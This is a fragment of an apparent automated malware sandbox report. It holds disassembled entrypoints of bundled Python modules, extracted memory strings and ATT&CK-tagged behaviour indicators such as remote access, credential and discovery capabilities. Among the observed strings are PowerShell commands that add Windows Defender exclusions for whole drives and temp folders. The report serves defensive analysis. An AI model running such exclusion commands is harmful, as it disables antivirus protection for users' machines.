rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x1800130b8,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x3e2f],mov rcx, rbx,call qword ptr [rip + 0x3e2e],call qword ptr [rip + 0x3e18],mov rcx, rax," "_ctypes.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180006911,call 0x180006aac,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x1800067c8,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0xc717],mov rcx, rbx,call qword ptr [rip + 0xc706],call qword ptr [rip + 0xc710],mov rcx, rax," "_bz2.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x18000a551,call 0x18000a570,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18000a408,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x18], rbx,push rbp,mov rbp, rsp,sub rsp, 0x30,mov rax, qword ptr [rip + 0x6a7c],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x18000a607," "_socket.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180002d41,call 0x180002edc,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180002bf8,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x62df],mov rcx, rbx,call qword ptr [rip + 0x62ce],call qword ptr [rip + 0x62d8],mov rcx, rax," "_psutil_windows.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x18000aec1,call 0x18000aee0,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18000ad78,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x18], rbx,push rbp,mov rbp, rsp,sub rsp, 0x30,mov rax, qword ptr [rip + 0x610c],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x18000af7a," "_hashlib.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180003db1,call 0x180003f4c,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180003c68,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x2257],mov rcx, rbx,call qword ptr [rip + 0x2246],call qword ptr [rip + 0x2250],mov rcx, rax," "_wmi.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x1800029cd,call 0x180003234,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180002884,int3 ,int3 ,int3 ,ret 0,int3 ,sub rsp, 0x28,call 0x1800037f4,test eax, eax,je 0x180002a1e,mov rax, qword ptr gs:[0x30],mov rcx, qword ptr [rax + 8],jmp 0x180002a11,cmp rcx, rax," "select.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x1800014c1,call 0x18000165c,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180001378,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x1b6f],mov rcx, rbx,call qword ptr [rip + 0x1b6e],call qword ptr [rip + 0x1b58],mov rcx, rax," "_uuid.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180001431,call 0x1800015cc,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x1800012e8,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x1be7],mov rcx, rbx,call qword ptr [rip + 0x1bd6],call qword ptr [rip + 0x1be0],mov rcx, rax,"46:T65c,Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00008172-00000BC0-2524609548] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00008172-00000C46-15622891252] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\'""" [Source: 00000000-00008172-00000C46-15622891252] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath '%PUBLIC%\Videos\rekigema'""" [Source: 00000000-00008172-00000C46-37717626168] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath '%TEMP%\""" [Source: 00000000-00008172-00000C46-60710439267] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'D:\'""" [Source: 00000000-00008172-00000C46-84110755413] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'E:\'""" [Source: 00000000-00008172-00000C46-107797166353] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'F:\'""" [Source: 00000000-00008172-00000C46-134556037668] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'G:\'""" [Source: 00000000-00008172-00000C46-155078206322] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00001600-00000C46-1453993787]47:T79e,Process " + $this.resolvedcommand.name" Heuristic match: "$this.name" Heuristic match: "$commandname = $this.name" Heuristic match: "$this.userinfo.identity.name" Heuristic match: "$this.userinfo.windowsidentity.name" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "??\c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "http://g2.symcb" Pattern match: "www.microsoft.com/p" Pattern match: "www.microsoft.com/windows0"55:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp")56:T8b4,"d__198" (Indicator: "base64"; Source: "00000000-00002320.00000000.233380.A3630000.00000004.mdmp") Found string "d__148" (Indicator: "base64"; Source: "00000000-00002320.00000000.233380.A3630000.00000004.mdmp") Found string "d__151" (Indicator: "base64"; Source: "00000000-00002320.00000000.233380.A3630000.00000004.mdmp")58:T5f9,Found string "Select-Object" (Indicator: "Select-Object"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Measure-Object" (Indicator: "Measure-Object"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Microsoft.PowerShell.Core\Where-Object {$_.Name -match '^Verbs.'} |" (Indicator: "Where-Object"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Select-Object @{" (Indicator: "Select-Object"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "$allVerbs | Microsoft.PowerShell.Core\Where-Object { $_.Verb -like $v }" (Indicator: "Where-Object"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "ForEach-Object" (Indicator: "ForEach-Object"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Where-Object" (Indicator: "Where-Object"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Compare-Object" (Indicator: "Compare-Object"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Group-Object" (Indicator: "Group-Object"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Sort-Object" (Indicator: "Sort-Object"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Tee-Object" (Indicator: "Tee-Object"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp")59:T7cc,Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin") Found reference to API "K32EnumProcessModules" (Indicator: "EnumProcessModules"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin") Found reference to API "Thread32First" (Indicator: "Thread32First"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin") Found reference to API "Thread32Next" (Indicator: "Thread32Next"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin") Found reference to API "Process32First" (Indicator: "Process32First"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin") Found reference to API "Process32Next" (Indicator: "Process32Next"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin") Found reference to API "EnumProcesses" (Indicator: "EnumProcesses"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin")5a:Tcaa,Found string "Get-Command" (Indicator: "Get-Command"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-Module" (Indicator: "Get-Module"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-FormatData" (Indicator: "Get-FormatData"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-Help" (Indicator: "Get-Help"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string ".FORWARDHELPTARGETNAME Get-Help" (Indicator: "Get-Help"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-Help @PSBoundParameters | more" (Indicator: "Get-Help"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Get-Member -type Properties -static |" (Indicator: "Get-Member"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-PSBreakpoint" (Indicator: "Get-PSBreakpoint"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-Variable" (Indicator: "Get-Variable"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-Content $file | more.com" (Indicator: "Get-Content"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-Verb" (Indicator: "Get-Verb"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "$null = Read-Host '" (Indicator: "Read-Host"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "$null = Read-Host 'Press Enter to continue...'" (Indicator: "Read-Host"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-Alias" (Indicator: "Get-Alias"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-Content" (Indicator: "Get-Content"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-ChildItem" (Indicator: "Get-ChildItem"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-PSCallStack" (Indicator: "Get-PSCallStack"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-History" (Indicator: "Get-History"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-Location" (Indicator: "Get-Location"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-Member" (Indicator: "Get-Member"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-ItemProperty" (Indicator: "Get-ItemProperty"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-Service" (Indicator: "Get-Service"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-Unique" (Indicator: "Get-Unique"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Invoke-Item" (Indicator: "Invoke-Item"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Get-PSSnapIn" (Indicator: "Get-PSSnapIn"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp")5b:T636,Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00002320.00000000.233380.A3550000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00002320.00000000.233380.A35F0000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00002320.00000000.233380.A3630000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00002320.00000000.233380.A3630000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00002320.00000000.233380.A3630000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00002320.00000001.233541.A3570000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00002320.00000001.233541.A3570000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00002320.00000001.233541.A3590000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00002320.00000001.233541.A3590000.00000004.mdmp") Found string "adminpasswordstatus" (Indicator: "password"; Source: "00000000-00002320.00000001.233541.A3670000.00000004.mdmp") Found string "resetcomputermachinepasswordcommand" (Indicator: "password"; Source: "00000000-00002320.00000001.233541.A3670000.00000004.mdmp") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00002484.00000000.231399.A3550000.00000004.mdmp")5c:T508,Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00002320.00000000.233380.DD8A0000.00000004.mdmp, 00000000-00002320.00000001.233541.DD8A0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00002320.00000000.233380.F7C00000.00000004.mdmp, 00000000-00002320.00000001.233541.F7C00000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}" (Indicator: "\Device\"; Source: "00000000-00002320.00000000.233380.F7C00000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}" (Indicator: "\DosDevices\"; Source: "00000000-00002320.00000000.233380.F7C00000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00002484.00000000.231399.05C90000.00000004.mdmp, 00000000-00002484.00000001.231620.05C90000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00002484.00000000.231399.1FED0000.00000004.mdmp, 00000000-00002484.00000001.231620.1FED0000.00000004.mdmp")5d:T731,"\" (Source: \"00000000-00002484.00000000.231399.07C70000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1021","relevance":1,"id":"string-940","sources":[{"report_type":"sandbox","report_id":"6a4eff5a642b978ecf0d3bdd"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to receive remote commands (Powershell command string)","description":"Found string \"Enable-PSRemoting\" (Indicator: \"Enable-PSRemoting\"; Source: \"00000000-00002484.00000000.231399.07C70000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-289","sources":[{"report_type":"sandbox","report_id":"6a4eff5a642b978ecf0d3bdd"}]},{"level":"informative","category":"Remote Access Related","name":"Contains reference to remote powershell session activity (Powershell command string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1021.006","relevance":1,"id":"string-154","sources":[{"report_type":"sandbox","report_id":"6a4eff5a642b978ecf0d3bdd"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLEC6031FA5F1B9C861AC492CB82719]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002320.00000000.233380.DD8A0000.00000004.mdmp, 00000000-00002320.00000001.233541.DD8A0000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE6940369471F08A0AA191D2D485C0]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002320.00000001.233541.F9690000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002320.00000001.233541.F9690000.00000004.mdmp\")\n Found string \"B+ncalrpc:[OLE6940369471F08A0AA191D2D485C0]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002320.00000001.233541.F9736000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLEE02FD974CFBBE96E6CE4C5BC4978]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002484.00000000.231399.05C90000.00000004.mdmp, 00000000-00002484.00000001.231620.05C90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6a4eff5a642b978ecf0d3bdd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00002320.00000000.233380.DD8A0000.00000004.mdmp, 00000000-00002320.00000001.233541.DD8A0000.00000004.mdmp\")\n Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00002320.00000001.233541.A3570000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00002484.00000000.231399.05C90000.00000004.mdmp, 00000000-00002484.00000001.231620.05C90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a4eff5a642b978ecf0d3bdd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"GetDC\" (Indicator: \"GetDC\"; File: \"ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6a4eff5a642b978ecf0d3bdd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"file/memory contains long string with (Indicator: \"getlogicaldrivestringsa\"; File: \"_psutil_windows.pyd\")\n Found string \"GetLogicalDriveStringsA\" (Indicator: \"getlogicaldrivestringsa\"; File: \"ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"6a4eff5a642b978ecf0d3bdd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"11611364602,3684,3024,,RtlGetVersion,NTDLL.dll,\"01:00:46.515\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00002320.00000000.233380.F7C00000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6a4eff5a642b978ecf0d3bdd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin]","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"6a4eff5a642b978ecf0d3bdd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to perform SQL operations","description":"Found string \" pairse used instead of the HostName parameter in the Send-MailMessage cmd\" (Indicator: \"hostname\"; Source: \"00000000-00002484.00000000.231399.07C70000.00000004.mdmp\")\n Found string \"Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified.\" (Indicator: \"hostname\"; Source: \"00000000-00002484.00000000.231399.07C70000.00000004.mdmp\")\n Found string \"Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.\" (Indicator: \"hostname\"; Source: \"00000000-00002484.00000000.231399.07C70000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6a4eff5a642b978ecf0d3bdd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"$drive = Get-CimInstance Win32_LogicalDisk -Filter \"DeviceId='$driveRoot'\"\" (Indicator: \" Win32_LogicalDisk\"; Source: \"00000000-00002484.00000000.231399.07C70000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6a4eff5a642b978ecf0d3bdd"}]},{"level":"informative","category":"System Security","name":"Able to access control system service controller","description":"Found string \"System.ServiceProcess.ServiceController\" (Source: \"00000000-00002484.00000000.231399.07C70000.00000004.mdmp\")\n Found string \"Deserialized.System.ServiceProcess.ServiceController\" (Source: \"00000000-00002484.00000000.231399.07C70000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-936","sources":[{"report_type":"sandbox","report_id":"6a4eff5a642b978ecf0d3bdd"}]},{"level":"informative","category":"System Security","name":"Able to retrieve security identifier (.NET)","description":"Found string \"$private:dacls += $_.SecurityIdentifier.Translate([System.Security.Principal.NTAccount]).ToString() + \" \" + $_.AceType\" (Source: \"00000000-00002484.00000000.231399.07C70000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-945","sources":[{"report_type":"sandbox","report_id":"6a4eff5a642b978ecf0d3bdd"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"